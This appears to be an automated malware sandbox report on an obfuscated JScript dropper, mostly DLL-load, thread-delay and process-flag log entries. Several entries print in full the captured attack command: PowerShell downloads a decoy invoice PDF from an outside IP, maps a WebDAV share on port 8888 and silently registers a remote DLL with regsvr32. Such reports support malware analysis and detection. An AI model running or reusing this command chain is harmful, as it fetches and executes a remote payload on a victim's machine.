Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\940.js.csv");ITextStream.WriteLine(" entry:7181 f:kuyit");ITextStream.WriteLine(" exec:2 f:kuyit");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49763

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4842			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4922			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5952	Thread sleep count: 4842 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6932	Thread sleep count: 4922 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6696	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1448	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 712	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1652	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1588	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7184	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1415535595.000001E26C26B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1411736884.000001E26C26B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2633819870.000002423725A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1415351087.000001E26C208000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2632510143.0000024231C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
